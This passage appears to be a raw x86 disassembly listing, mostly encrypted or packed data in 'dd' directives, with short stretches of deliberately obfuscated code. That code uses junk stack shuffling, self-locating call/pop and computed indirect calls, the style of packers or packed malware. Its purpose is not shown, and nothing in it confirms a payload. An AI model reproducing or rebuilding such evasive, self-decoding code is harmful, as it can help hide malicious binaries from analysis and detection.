0D3F37D93h, 8D8D601Ch, 6098CD6h, 318D0360h, 29060308h dd 30A698Dh, 8D896106h, 60320A5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 9EC35747h, 5EDD9155h, 1C31091h dd 6850Fh, 0D8810000h, 7F20C1B6h, 0AF6C781h, 85C730ADh dd 6031A65h, 6EFCh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0FBC35646h, 617B6CF6h, 0EC3E72B8h, 85C7F9CDh dd 6030071h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0C6C35343h dd 6D9D3191h, 0FF060307h, 30575B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 604404D1h dd 2AE0F27Dh, 171D95FFh, 0B5890603h, 60323F1h, 95FF006Ah dd 60323A5h, 7BEBC08Bh, 1A49445Bh, 0F1BF5FF7h, 62FF123Ch dd 0CBCBD5D1h, 86D70FB1h, 9C3E22CBh, 0DA7FD12Ch, 0FF05FD93h dd 7FFE51BFh, 0A2C0E6E1h, 9FA25DA4h, 48032F29h, 3DBFBB6Bh dd 0A2ABB2AEh, 32F3066Dh, 0D9A1C3F0h, 0C908F255h, 37E57777h dd 6A38DBDAh, 4F9DE351h, 802EE8FBh, 0A3DAAFB3h, 6637247h dd 0EB699B99h, 0E1AA0098h, 0E3E5ABABh, 991E9A51h, 5240D8C3h dd 2EB6F283h, 27CA0546h, 0E853BB3Fh, 10h, 2CC01098h, 0E4250CB5h dd 0A4A134A1h, 53C924Ah, 59D2B70Fh, 6E01C181h, 800F0000h dd 1, 0B8F5h, 9D890000h, 60307E1h, 0F0834FFh, 0A8Dh, 5E900h dd 0CABA0000h, 5B7B3BE6h, 16399D01h, 0C3810603h, 7F13A0D1h dd 1D958B60h, 66060329h, 61DA61B9h, 0F03C381h, 0EB81123Dh dd 781E88Ah, 66011C89h, 0F5D67DBEh, 8102E883h, 0E395F5E2h dd 0E9484879h, 13h, 466B0561h, 0AAF878F8h, 22369F09h, 6A323DFBh dd 81645503h, 0FF929CF8h, 91850FFFh, 81FFFFFFh, 15CBC1F7h dd 948D8D25h, 8B06098Eh, 31859BDh, 0A58D8906h, 6A060320h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0D448C350h, 0B8384E7Ch, 65EB55AEh, 0C7D08B66h dd 31A6585h, 5A8C06h, 6E900h, 58560000h, 0C1B440EAh, 7185C7h dd 603h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0AB32E4C3h, 0FC85E22h, 0A9B5FFF8h dd 0FF06030Eh, 3171D95h, 6D853106h, 66060308h, 6ADE8Bh dd 23A595FFh, 0C08B0603h, 0DDC25AEBh, 6EFD72F1h, 221DBF5Bh dd 0DE44CA10h, 0A0627C48h, 8070DB12h, 0F9347965h, 7B893C76h dd 7833F1ACh, 6CB9C5EDh, 37E83AC4h, 4B3C98E7h, 67209FE3h dd 0E45AFFFAh, 0BF28ACh, 0DEA6F8Bh, 0BF0BBF59h, 4CEF26CDh dd 9081146Eh, 1E202082h, 4D0F8747h, 7C31D9C5h, 9C010A35h dd 0DE8h, 0DF956C00h, 0FBE81E5Bh, 8AB676A3h, 0D98AAD93h dd 35BB665Fh, 2AC781DDh, 8000005Eh, 6832CFh, 8B000000h dd 330798Dh, 0ADB85E06h, 0FF278BF4h, 0DD803E34h, 81665A0Bh dd 819744E9h, 48A3CCEAh, 1858958h, 81060303h, 0C7B0ADC2h dd 85BD0941h, 81060305h, 0DC3919EAh, 6820F5Ah, 89000000h dd 3226595h, 37148906h, 5D9D2952h, 5906031Bh, 0C9B70F60h dd 0CFEE8161h, 8B297BE0h, 322F58Dh, 0CBC68106h, 0F297BE0h dd 68Eh, 0A4F08100h, 813B3959h, 0FFA274FEh, 90850FFFh dd 66FFFFFFh, 0E97A83B9h, 0ABh, 3F2E8D50h, 5F72B11Ch, 0A7ACABDAh dd 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h, 0B1F46BB2h dd 20752096h, 6BB79B55h, 92A5BCF2h, 7594A196h, 0B799603Ah dd 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh, 4E0097B1h dd 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h, 0F653F545h dd 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h, 756BBF97h dd 0BFCF60FDh, 93BCF996h, 207D20B2h, 0ABF79B57h, 9EBD9492h dd 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh dd 0ED7293BCh, 0E80097B3h, 94E7A601h, 0CD83323Dh, 0E937C8D9h dd 1295h, 9922E68h, 0EDC7E906h, 2368FFF9h, 0E9060993h dd 0FFF9EDBDh, 9940B68h, 0EDB3E906h, 5368FFF9h, 0E9060995h dd 0FFF9EDA9h, 995C968h, 0ED9FE906h, 7068FFF9h, 0E9060996h dd 0FFF9ED95h, 9971E68h, 0ED8BE906h, 0D168FFF9h, 0E9060997h dd 0FFF9ED81h, 9989A68h, 0ED77E906h, 2068FFF9h, 0E906099Ah dd 0FFF9ED6Dh, 99B1968h, 0ED63E906h, 8D68FFF9h, 0E906099Ch dd 0FFF9ED59h, 99DC368h, 0ED4FE906h, 6D68FFF9h, 0E906099Fh dd 0FFF9ED45h, 9A05468h, 0ED3BE906h, 0B23BFFF9h, 0D95F7DE9h dd 0F67E9C08h, 119BB925h, 39BEDC48h, 0F13DFC68h, 6BD7A82Dh dd 8DF9C24Dh, 0AE1AE36Fh, 0CC380990h, 22501BC7h, 0D2D018D5h dd 0B94452C4h, 0FEF6F1F0h, 1CF5633h, 0B2ADAC75h, 0E168605Fh dd 2C59A410h, 0FE15E054h, 78DC144Ah, 63E9F76Bh, 0A0989392h dd 403C36EBh, 881D012h, 0E2767D0Bh, 3EBD5A3Ah, 0C000000h dd 112B2932h, 0AA4DA52Ah, 7D067FB2h, 61D528F1h, 0CBFD2Fh dd 0D611CAF2h, 0A687582h, 0EAD611CAh, 8122E5DDh, 0D9DC14E7h dd 0DE18CDCCh, 63D012F6h, 945FEDEAh, 9F5A3A50h, 104h, 0FECF56EEh dd 2CF27C8Ah, 0DFDAD9A2h, 9A928D8Ch, 0F4C0C9E5h, 8BDF1BE2h dd 2FB4BAB2h, 0E0675F5Eh, 78D9B0Fh, 14443736h, 82E903DEh dd 820D5DB0h, 140CC1B9h, 7550BC8Dh, 0D6110172h, 0C63A0B92h dd 9ABC994h, 3E4BD611h, 7F062446h, 138AAFAEh, 0C1461185h dd 61DC1413h, 8BFFD057h, 1223B2C0h, 0E23542D0h, 438B656Eh dd 3DC84A9Ah, 9E9667EDh, 2CF4317Ch, 0E84CEDB8h, 9EACDA15h dd 73FA4A13h, 0B0A8A3A2h, 7583F704h, 71B31FF0h, 0C4354F68h dd 0A098FA73h, 0ED44159Ah, 0D4BEBFE9h, 0F2EAF1F2h, 8400000Fh dd 0A8C632FBh, 0C7E55122h, 0E4026E3Fh, 725915Ah, 8645B182h dd 20F1763Ah, 420B96B4h, 632CB8D6h, 8152D9F7h, 99641015h dd 0D018D75Bh, 56FA0D1Bh, 529400D1h, 0F7EFB844h, 149C6AF1h dd 0EE04CF43h, 86D61145h, 78BA2679h, 26CB1B6Fh, 0EDB88AEEh dd 0D6111187h, 0C40F626Fh, 10A8D67Bh, 541F1771h, 0B024FC29h dd 1468C2E5h, 1B8F9CDCh, 0BAB9820Dh, 6C6B3CC2h, 71261E71h dd 1266B2BCh, 918E07D0h, 3AC0C803h, 0C4435Ah, 56920000h dd 0E3FFFECFh, 888049D5h, 2D2CFD82h, 11497778h, 3D0E95D6h dd 5B2CB3D1h, 32CE375Ch, 5B14F3BEh, 10EDC14h, 45D34A95h dd 0E83206D1h, 2D32DA15h, 3D850876h, 1D91E454h, 0B3D220EBh dd 95A2DA19h, 0E065739Dh, 5861A30Fh, 330B423h, 0B4850BD0h dd 1767BAB5h, 0C7C2C192h, 7344C9CFh, 0BE6A0E1Ch, 232A2BD4h dd 0EFDh, 0BB27F079h, 0DA46179Dh, 0F76334BCh, 1A864FD9h dd 3AA677FCh, 0E66B2F7Bh, 8BA915h, 21ADCB37h, 47CEEC58h dd 59050A76h, 18D6608Eh, 0EF0210D0h, 7C03D156h, 0D6E458ABh dd 66888051h, 0FF8C148h, 3FE504F2h, 56B36AAh, 0EDD611FEh dd 0DF218DE0h, 0FE8CE2ADh, 5764D611h, 0CF56945Fh, 8007FFFEh dd 0E0323BAFh, 5C3AEF3Dh, 523453Dh, 638AC7Dh, 11C3353Bh dd 0C48FBDD6h, 0D611C3AEh, 0EEE63946h, 0ECBA4139h, 9A959465h dd 147ADB47h, 0C236C23Bh, 0C9505E90h, 0C385EBF8h, 686DD611h dd 476F09E0h, 776FC278h, 14B25BB4h, 96C6D3DCh, 98982843h dd 36C23BCBh, 7030F7C2h, 0A6B4219Ah, 0AC585021h, 27BA09Fh dd 0C6A8D97Eh, 3A8D809Ah, 8B59FBC6h, 0C4D1DF86h, 0EABB4250h dd 8D9607Eh, 4D9699B1h, 0C2C9CAD2h, 0E15h, 0A30FD861h dd 0C22EFF85h, 0DF4B1CA4h, 26E37C1h, 228E5FE4h, 0CE531763h dd 0E87391FDh, 995B31Fh, 2FB6D440h, 41EDF25Eh, 18D17876h dd 0D7EAF8D0h, 8AFECF56h, 45678D58h, 20FD611h, 0ACC165B7h dd 0FEF621F1h, 1FF92449h, 0E733E0ABh, 0B6C3DC14h, 0FA86FF4Ah dd 0C094BB86h, 111EDA17h, 0A4135D12h, 0E0A8DA17h, 0E0A03D7h dd 0F0E8F32Fh dd 418A1815h, 0CC503FB4h, 5Bh, 24FC291Bh, 814C7EB0h, 0D6114573h dd 3BFEF603h, 0DC1492A8h, 93A11522h, 0F7D23E07h, 0D01208FFh dd 51C5961Dh, 81E541Fh, 0C9D6D012h, 2726EF79h, 0F412342Ch dd 222B9F68h, 7454594Bh, 0EC3BB66h, 8C5DE4F2h, 2D274D18h dd 0C2CFD012h, 0D4BB5CAh, 4B590000h, 0A374FAC0h, 298D5850h dd 0E5B024FCh, 0DC1AD5C5h, 430C97A1h, 0E76E7CF0h, 58CAA16h dd 0D52A4813h, 0BDCAD018h, 5EE8F66Ah, 0C3E89D95h, 0DC33C65Ah dd 0B0D2DBFCh, 85B7E95Dh, 18B9B4BAh, 8F58E2D0h, 0D1948C99h dd 0DA132848h, 8F58E4EEh, 33BAC83Ch, 51D8F662h, 0C95E945Fh dd 0B7C1DA02h, 0B2C35EF4h, 0EE414E44h, 0C553CAEFh, 72FD8651h dd 6875D007h, 0CC14EF11h, 2C3334DAh, 0CCDh, 0EB5720A9h dd 0A7647CDh, 279364ECh, 4AB67F09h, 6AD6A72Ch, 169B5FABh dd 30BBD945h, 51DDFB67h, 77FE1C88h, 89353AA6h, 18D0B0BEh dd 1F3240D0h, 11455F99h, 8B1590D6h, 0D4C54C17h, 6471DC1Ah dd 2AB0BEF0h, 403D45Ch, 0B8BEB609h, 16D76331h, 38BFAED0h dd 8D8CDF56h, 0B5D33F92h, 395E5D2Eh, 0F5C034CCh, 0DA1DDF5Eh dd 4874CBD8h, 0A1D4C26Bh, 0C5799A0h, 961F0000h, 0BD4361CDh dd 0DA6280ECh, 0F57F9D09h, 1DA2C02Ch, 0D521E04Ch, 4FBB8C11h dd 71DDA631h, 92FEC753h, 0B01CED74h, 3E34FFABh, 0B6D018D0h dd 0CF5695A8h, 8007FFFEh, 45ADC38Eh, 3845D611h, 94935CE8h dd 4F474699h, 1F9F8C9h, 0F1A9A879h, 15A14946h, 0A97EF94Ch dd 0E7D51EACh, 0EB605C39h, 0AF000006h, 0B024FC29h, 1AD45FE5h dd 960A17DCh, 0C4300188h, 6F855082h, 0ADD018D5h, 515E5425h dd 0B3AB7C01h, 565526ADh, 18D557A1h, 936D98D0h, 0DBBF541Fh dd 0ABB9DA1Dh, 0B15D5526h, 67174DA4h, 8384D4C2h, 0BB07Ch dd 743DC600h, 9364EA08h, 0B0810927h, 0D39C2644h, 0F3C44967h dd 0B87CC887h, 0D8F66233h, 0FA18844Dh, 1B39A56Eh, 5257C394h dd 0D395DBA6h, 4F5DD018h, 0FECF563Ch, 0AF8007FFh, 6533B8B0h dd 140F0EDFh, 45CAC2C1h, 12BD7574h, 1AEF6A15h, 0E7448F1Dh dd 4FCF5C39h, 1E000006h, 0E83C2932h, 0DE4BDB33h, 3D35068Eh dd 1146707Ah, 6C3471D6h, 0D6D72DF8h, 1321DC1Ah, 18C4BC8Dh dd 0B8B7880Eh, 0E8F66ABDh, 0E2249061h, 7E7D4ED4h, 0FE858B83h dd 0E0122E2Dh, 18D6DF15h, 928A97D0h, 0E65A265Fh, 1DD8741Bh dd 9AF1FEDAh, 0D4C26B5Ah, 2D3DADBh, 7400000Bh, 98B622EBh dd 0B7D54112h, 0D4F25E2Fh, 0F715814Ah, 7635A172h, 10E1662Ah dd 32FB86A4h, 531CA8C6h, 7142C9E7h, 89540005h, 0D018D26Bh dd 56EAFD0Bh, 588AFECFh, 1145678Dh, 7E050FD6h, 60B3AEADh dd 34BBB368h, 1D416463h, 0C3BB840Fh, 965DEBE8h, 9D5C39E7h dd 59Eh, 2CFC29ECh, 7F5D1E6h, 0F13C1620h, 52B6C00Bh, 0C38E0255h dd 0DC1A4DD0h, 0CD93454Ah, 4AD2A482h, 1BB8717Fh, 0A1F401D0h dd 45CCDA4Eh, 63EA0874h, 94DE9392h, 0DED01BB8h, 827A4BD0h dd 0D64AD64Fh, 3E0F96A4h, 894C443Fh, 0DA1EB6CAh, 0BE085F6Ch dd 53D4C3D3h, 0A4F4B52h, 9E270000h, 0C54B69D5h, 0E26A88F4h dd 0FD87A511h, 25AAC834h, 0DD29E854h, 57C39419h, 79E5AE39h dd 9A06CF5Bh, 0B824F57Ch, 363C07B3h, 0BED018D2h, 0CF569DB0h dd 0B1E3FFFEh, 114588E6h, 105B68D6h, 15B150E2h, 161C14E4h dd 0C7BFBE8Fh, 7C6F6E3Fh, 833BDD5Ch, 0B0368651h, 7332E0DFh dd 7B50CB76h, 1DA4B27Eh, 0A7FAC34Fh, 0C9B5ADA8h, 5C39FB02h dd 4D109h, 5A995800h, 95D61145h, 0EA1C9068h, 4587EDB8h dd 626FD611h, 0D56BA76Ah, 848DDC1Ah, 0B955D546h, 0DC88809Dh dd 0C64D5BCFh, 0E46B89F5h, 0B6EF1413h, 0B8AB76EAh, 34DA1D3Dh dd 3C393702h, 0ACB9DA1Dh, 0FDA08B4h, 0DA1D3CE1h, 0DA318491h dd 0D4C24986h, 86272E2Fh, 0F0000009h, 14329E67h, 3351BD8Eh dd 506EDAABh, 7391FDC6h, 0F2B11DEEh, 8C5DE2A6h, 0AE770220h dd 0CF982442h, 0EDBE4563h, 5D07C81h, 0D018DDEFh, 56667987h dd 7FFFECFh, 2B0AF80h, 0F9F7C2F4h, 79D61145h, 4572804Bh dd 0F502D611h, 0FCCD52A2h, 842C2904h, 7EC02CFDh, 0BD7EAE75h dd 0D621A1EAh, 0D105690Ah, 0D4C0B875h, 5C39541Fh, 18616h dd 6DF80600h, 0B2AAA5A4h, 0FECF56E7h, 0AF8007FFh, 0F38DF843h dd 1FE5717Fh, 0CFCAC99Ah, 8A827D7Ch, 4A7E9560h, 0EEF8DC14h dd 46AC7769h, 2ED01240h, 0D7CFCE21h, 0D82B7E4Fh, 24AFBDD9h dd 69615C5Bh, 12404CA6h, 1B29F1D0h, 0EFCAC293h, 29F426F2h dd 0D01240CBh, 0BAA69EABh, 5A3AE231h, 5EFCh, 52DEEC00h dd 978F8A89h, 992432CCh, 1BDED1D0h, 0D8050464h, 8CBFB70Ah dd 34058A11h, 1A26DE1h, 0DBDC141Ah, 80BDB7D2h, 0F079C00h dd 0B0E25663h, 12138FE5h, 0B6870DD0h, 6BBB3C0h, 12132751h dd 0CBD49CD0h, 0D006350Bh, 4DFD79Bh, 82727907h, 9BB95A3Ah dd 0A9000000h, 4544159Bh, 5687524Ah, 7FFFECFh, 0FD829082h dd 45D11F2Ch, 94A1D611h, 0C34A4241h, 0CED7F3F2h, 0F1096706h dd 0BAC0B811h, 1BF66233h, 0D611CBA8h, 84F0C148h, 0C034CC39h dd 0C72E858Eh, 0A3A273F8h, 0DCB85DA8h, 0C6D4978Fh, 7EDC16FFh dd 6AEFFD71h, 8A0F2D99h, 8B0462B9h, 0C0C1CEBBh, 800B9h dd 24ED7600h, 43149AB8h, 6031B9D7h, 834CD6F4h, 0A374F917h dd 682C7837h, 88A612E3h, 0AAC834FDh, 0CBE9551Eh, 2077344h dd 0DF658B56h, 0FF0DD018h, 0D156ECh, 1EEF7694h, 0CF56CFB2h dd 0F67C8AFEh, 5C782D25h, 0F375212Ah, 0A9E7A25Ch, 1121569Ch dd 89141ED6h, 73C6C1C0h, 70B66328h, 41390532h, 5AE6B43Bh dd 44979291h, 288ABD8h, 29AE0000h, 6D103FCh, 0D61145E8h dd 6E7B88h, 0F0D61145h, 3F0893E3h, 7EF24540h, 147434B3h dd 0A2A1AEDCh, 126A83EDh, 0C2BF38D0h, 3ACCBF34h, 0F479875Ah dd 31292423h, 216F6h, 58994500h, 97D61145h, 0EC1E926Eh dd 4581EFBAh, 6471D611h, 0D553A96Ch, 8795DC1Ah, 8B372F00h dd 0DD80A7Eh, 0D018D5E7h, 608A828Fh, 8EFACB52h, 4620E970h dd 0E03E4D35h, 7EA3A2F5h, 3A057907h, 0DA1D4FC9h, 75DD3441h dd 46D4C21Ah, 7073E45h, 0E66F0000h, 0D93B11Dh, 2AB2D03Ch dd 45CFED59h, 6DF2107Ch, 2571309Ch, 9F0BDC61h, 0C12DF681h dd 0E24E17A3h, 6C3DC4h, 6E844FFBh, 6D018DEh, 2432E5F8h dd 8CE2AD9Fh, 64D61145h, 60C0457h, 2C3AAE7Fh, 0DAD5D4A5h dd 65705A8Fh, 0F2EA9063h, 0EDBE453Dh, 848140EEh, 188455DCh dd 39B9DF14h, 161565Ch, 56A50000h, 0AA7B01CFh, 52DAE357h dd 0ABC9940Fh, 4BD611FEh, 0FCF2F33Eh, 0D0C87D75h, 26EF7B49h dd 7B89E7B2h, 5C69D611h, 525B9D09h, 9B9F6B90h, 53867E5Fh dd 0A8DA4E2Ah, 0D145AB76h, 202DD611h, 0DE2E6528h, 0BBC8DC14h dd 0DCED07BCh, 0A62BD012h, 58DED6D5h, 0A908887h, 73F3A39h dd 0DB04AFACh, 0B27B0513h, 0E5C0B8B3h, 7E915AE8h, 2F9C5A3Ah dd 0EB000000h, 0B024FC29h, 73814C7Eh, 3D61145h, 5021A6F6h dd 9B5E5651h, 0DC146818h, 91464552h, 0D0126667h, 0D86663DCh dd 5A3AC013h, 0AF1Ah, 0CF566900h, 0F57C8AFEh, 322A2524h dd 2F00857Dh, 0E0B13830h, 9162E9E1h, 97494A25h, 5563D611h dd 40A02CBh, 0FE40AC7Dh, 6932BECCh, 1117165Ch, 2CD9DED6h dd 67D0237Eh, 396C64B7h, 0B7C034CCh, 940E2803h, 719B93C5h dd 167D10A6h, 0CF4350DCh, 0F76B3CC1h, 7DF4FAC5h, 6F7CD017h dd 0C8C7981Fh, 95B3D5CDh, 76E83F10h, 5BCEBC08h, 593535Ah dd 5AE30000h, 81072591h, 9E2644B0h, 0B94361CDh, 0E16684F0h dd 99E5A410h, 137F50D5h, 35A16AF5h, 56C28B17h, 74E0B138h dd 0FAF8C36Fh, 7AD018D9h, 0D156596Ch, 0EF769400h, 0C9C89921h dd 2C0F7BCEh, 0FFFECF56h, 43AF8007h, 3D16h, 26ACBA00h dd 56925D55h, 7FFFECFh, 0D0B0AF80h, 0CB29F426h, 0ABD61145h dd 0CECBA69Eh, 6BF4F902h, 0F8430C96h, 1F17B470h, 4DC19219h dd 0EAE9BA3Fh, 9A996AF2h, 32544C9Fh, 4105h, 24320800h dd 8DE3AE98h, 65D61145h, 0B060558h, 0B5860D13h, 0DDAB3341h dd 0E3338657h, 96919059h, 3B34E99Eh, 0A5D61145h, 85748A93h dd 0EAE9B23Eh, 0AABA4EFh, 0E0DDB8B0h, 5EE3B138h, 40938E8Dh dd 0CF56F1D4h, 0A3DAFFFEh, 129661D5h, 52DC1AD5h, 3CC3D145h dd 5AE1FF6Bh, 38658A89h, 54DEEC60h, 99918C8Bh, 44A5A46Fh dd 0B4C1DA13h, 0DCAD3240h, 0C0EAE2DDh, 63915C8Eh, 13DA0265h dd 81080E06h, 9F2644B0h, 0C54C5ACEh, 2FAF5F4h, 2BFD284Dh dd 7E616456h, 168ADDECh, 768B04Bh, 26AEBCD0h, 0A4B15D55h dd 0CBFFD14Dh, 0C2C9CADAh, 45Dh, 5BC79019h, 7AE6B73Dh dd 9703D45Ch, 0BA26EF79h, 0DA46179Ch, 860BCF1Bh, 0A02B49B5h dd 0C14D6BD7h, 0E76E8CF8h, 0F9A5AA16h, 18D8C02Eh, 8FA2B0D0h dd 92FECF56h, 1D1CED74h, 0CECD9E25h, 0BC646120h, 0FE06735h dd 0CB29F410h, 0ABD61145h, 8CF84B9Eh, 39E34388h, 50CA5Ch dd 0B1BA0000h, 0C2A4279Dh, 7942CCD9h, 342C7F7Ah, 24FC2969h dd 9212E5B0h, 0BFCCDC14h, 0E8B13D4Bh, 0B55A17Ch, 95A3D012h dd 3E443C0Dh, 387AE6B7h, 0D7D69F2Ah, 52DEE4DCh, 0B1E31589h dd 120B88E6h, 4E5B68D0h, 0D0120B20h, 16CBC3D0h, 3B40Fh dd 29321200h, 0C1810A72h, 0CAD0C8EDh, 7B737243h, 0A1AF23F4h dd 2F51491Ah, 6BDFB9E4h, 25006E39h, 0E3F0D611h, 0D9F6C1EBh dd 59DC142Ah, 42CAD84Ch, 7F777271h, 20DB15CAh, 0E760D012h dd 21EC1EEAh, 0D01220D3h, 0B29E96A3h, 5A3A8239h, 41F4h dd 324300h, 45ED03CEh, 7885D611h, 1145056Bh, 0E8E0EDD6h dd 3CB048B5h, 14684E71h, 1C1B28DCh, 12660D67h, 3C39B2D0h dd 7D733E70h, 0F5D01266h, 0CF04F0E8h, 575A3AC0h, 0FDF5BE49h dd 0C4C2h, 0CF561100h, 8207FFFEh, 33BAB2B1h, 3E476362h dd 0B900D81Fh, 0DD6613Fh, 0C8C0130Eh, 0FE6A3BC2h, 5829AEBCh dd 0A3665E59h, 0D611A640h, 3A038E9Ch, 4248403Bh, 3C7EEABBh dd 0E0D8A92Eh, 838253DAh, 0E559275Eh, 14BF991Ah, 58C4D1DCh dd 9408900Dh, 1500C9C9h, 0EC606DDAh, 2D9059DEh, 0A6F3F2B6h dd 97B52174h, 64EA4112h, 71D4BF3Ch, 2B36970h, 3AC30000h dd 61E70571h, 7E062490h, 992341ADh, 0C14664D0h, 79C584F0h dd 0F35F30B5h, 15814AD5h, 36A26BF7h, 54C09118h, 9AD8A34Fh dd 5AD018DAh, 0D156394Ch, 20529400h, 0B0BD8612h, 0D6114542h dd 272D2532h, 4D5BCFA0h, 0BB86FAC3h, 0D61145B5h, 1638303Dh dd 24FC2933h, 68C2E5B0h, 8F9CDC14h, 0D01EE91Bh, 0A0D01266h dd 0EBBC4393h, 6F893EF3h, 0D4D01266h, 1BD05E5Bh, 125A3AC0h dd 0AFh, 0FECF5661h, 0B18207FFh, 49FAFDB2h, 931AD611h dd 0BB404EC2h, 0B2D0F2EAh, 365B5A2Bh, 0F2BD31CFh, 0DC1448B1h dd 0E5309CA9h, 3A6CE0B8h, 0DED6A72Ch, 15FC161Bh, 0D15660DAh dd 58AB7C03h, 0FE839105h, 62B0B92Dh, 19E26CD3h, 0F2F42DCEh dd 2EE9395Eh, 7ACA1D2Eh, 2B2625EEh, 6EF31133h, 6CB6469Dh dd 0D6D7D4BEh, 1CCCFh, 5821AA00h, 7748CEECh, 9465ED0Bh dd 0B7800A28h, 0D7A82D4Bh, 9C60AC6Bh, 0BCDA4617h, 0DEFC6831h dd 0FF1D8952h, 363BA778h, 0E5B1BF8Ah, 3341D018h, 0DFD15620h dd 7D7C45D1h, 457F7582h, 0EAF7D611h, 860D2B97h, 566649B5h dd 7FFFECFh, 2543AF80h, 0B2CECD9Eh, 45BFB580h, 2A37D611h dd 0FA86FF32h, 0BC465486h, 0A1A071F6h, 595453A6h, 72C59E61h dd 10FDC14h, 0E6AEB677h, 0B6905761h, 0B2BF6B63h, 6831BBB3h dd 1DE67169h, 0CE9F261Eh, 0D17C7958h, 0D77F7C5Bh, 0C8137F50h dd 844FC35Dh, 0DA1762CBh, 3B575663h, 0DED6A72Dh, 0C8051D8h dd 0E1C93603h, 1767B1E0h, 12C7BF90h, 5DAD732h, 0DCE90898h dd 267F21A6h, 0FB945FD3h, 73D012DFh, 0CBE9F266h, 49E24A16h dd 0ED0B2D25h, 9E969566h, 8F1A2812h, 0BFCCC7C6h, 0C41846B1h dd 0E3AC3741h, 0ECB54090h, 9D7C9A99h, 0A071F8A0h, 0F5C0F234h dd 0C41846FFh, 9067277h, 0B57CF611h, 0CD23EE62h, 0A5C4188Bh dd 306DA098h, 5E29F468h, 9ACE1DBCh, 3938018Ch, 8D9A463Eh dd 3E0F968Eh, 0F1C2473Fh, 0A86EFAF2h, 5A55541Dh, 0F6FF0807h dd 0F9CA51F9h, 36ACFFFAh, 18855A57h, 0A6410C80h, 30C4188Eh dd 316CB723h, 8828F367h, 6EC20AFCh, 3393D65h, 8443A38h dd 62ADBAF2h, 635B20F4h, 0B3ABAAB7h, 0D1EF5B2Ch, 678D584Ah dd 0FF208EEh, 94B0AF02h, 0BF3DF08Bh, 837BCC9Ch, 0CBC15EC0h dd 3C399423h, 0D03C0D94h, 5B5A2BB2h, 1110D963h, 6F1714F3h dd 0E44D1FE8h, 95AF8E54h, 34C0CE42h, 26716C6Bh, 0EB122A1Dh dd 92B4AC14h, 0A81CED74h, 9345AB76h, 202D83CBh, 81794AD0h dd 3C5CCh, 54C80000h, 4CD563Dh, 0B5860D05h, 6932BEB6h dd 1EE7726Ah, 0D1A2271Fh, 8455DAD2h, 3A038D85h, 0EABB433Bh dd 9C6DF3EBh db 9Dh, 6Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx push 60990E5h mov edx, [esp] add esp, 4 push 585Dh mov [esp], esp add dword ptr [esp], 4 pop ecx push 5597h mov [esp], edx pop dword ptr [ecx+8] mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_4F2EAD ; --------------------------------------------------------------------------- db 0C0h dd 0EE53A458h, 0A245B887h, 0C5030609h, 0BF1FE0FFh, 8BBD32C2h dd 0D0802885h, 0D1686D66h, 0DBAA6549h, 0EE1907C9h, 0E1051379h dd 0BB932F08h, 849633DCh, 2A113635h, 0A26E671Ch, 84474EDBh dd 0F9577981h, 1EC0494Dh, 94ED0B6Ah, 0FD1D47E8h, 0E898089Fh dd 7372366Bh, 91DE6A29h, 3D2E6B60h, 0DDDE227Eh, 0A1B24D09h dd 0F4FB441Eh, 672D6EC8h, 0CC6C477Dh, 25D814BCh, 85C612D4h dd 6031BA1h, 30DF6856h, 0B5FFA9C5h, 6032471h, 7C58858Dh dd 0D0FF0606h, 4798D8Dh, 6A510603h, 0B1B5FF40h, 0FF060323h dd 30FEDB5h, 0FFD0FF06h, 323B1B5h, 0EDB5FF06h, 0E806030Fh dd 11h, 8B7D9B0Dh, 0A603CDCAh, 0E1F68BBh, 8DB3BE82h, 835A5A39h dd 2CC104EAh, 24C10224h, 14030224h, 241CF724h, 34FFF62Bh dd 0F0815816h, 38CAA84Fh, 589EE881h, 0F08171C1h, 0EF999CAh dd 32048F50h, 4E02EE83h, 24343B4Eh, 0FFD8850Fh, 9D8DFFFFh dd 6030F9Dh, 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 0E9C98B18h dd 15Fh, 60D48B52h, 0E8h, 0ED815D00h, 609A40Ch, 3D08428Bh dd 78263845h, 138850Fh, 428B0000h, 184A8B0Ch, 0ECBBC8D3h dd 3395B3FEh, 4E883C3h, 20A58589h, 588B0603h, 8BF88B04h dd 4A8B1042h, 0BEC8D318h, 0C5ABF747h, 0C72BC633h, 83FCE083h dd 858904E8h, 6031A65h, 8914428Bh, 3007185h, 18428B06h dd 0B0E953h, 0B5FF0000h, 6032D25h, 0B9E9h, 0B1B5FF00h dd 0E906031Ah, 0AEh, 2F75B5FFh, 0A3E90603h, 0FF000000h dd 3254DB5h, 98E906h, 0B5FF0000h, 6030EA9h, 8DE9h, 7DB5FF00h dd 0E9060321h, 82h, 17ADB5FFh, 77E90603h, 0FF000000h, 30C69B5h dd 6CE906h, 0B5FF0000h, 6031CA9h, 61E9h, 65B5FF00h, 0E9060317h dd 56h, 2021B5FFh, 4BE90603h, 0FF000000h, 32391B5h, 40E906h dd 0B5FF0000h, 6030DC1h, 35E9h, 0E1B5FF00h, 0E906030Bh dd 2Ah, 575B5FFh, 1FE90603h, 0FF000000h, 31B45B5h, 14E906h dd 0D88B0000h, 0BB8h, 0E3F76600h, 0A46D8D8Dh, 0C8030609h dd 95FFE1FFh, 603171Dh, 0A5858B5Bh, 39060320h, 850F0458h dd 0Fh, 0FF016A53h, 323A595h, 0E2E95B06h, 61FFFFFFh, 5A61C35Ah dd 